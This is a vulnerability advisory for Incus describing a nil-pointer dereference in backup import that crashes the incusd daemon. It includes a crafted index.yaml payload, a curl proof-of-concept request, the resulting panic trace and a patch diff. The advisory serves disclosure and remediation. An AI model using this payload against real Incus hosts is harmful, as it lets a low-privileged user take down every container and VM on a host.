Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)

Summary

(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

// Line 7710-7714 — the parent fix from GHSA-r7w7
for _, s := range srcBackup.Config.VolumeSnapshots {
    if s == nil {
        return errors.New("Bad snapshot definition found in index")
    }
    snapshot := s
    snapName := snapshot.Name
    // ...
    // Line 7731 — UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,   // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

| Line | Code | Guarded? | |------|------|----------| | 909-910 | CreateInstanceFromBackup | YES | | 1134-1135 | refresh path | YES | | 1422-1423 | migration path | YES | | 7731 | CreateCustomVolumeFromBackup | NO |

Reach

1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.
2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.
3. Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).
4. cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.
5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
  volume_snapshots:
    - name: snap0
      description: snap0
      config: {}
      # expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-vol.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-vol' \
    http://incus/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep    # process is GONE

Daemon panic from /tmp/incus.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
    /build/incus/internal/server/storage/backend.go:7731 +0xb48
main.createStoragePoolVolumeFromBackup.func7(...)
    /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c
created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408
    /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

• Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
• Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
• Network attack surface: the Incus REST API on :8443 or the unix socket.
• CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {
         snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.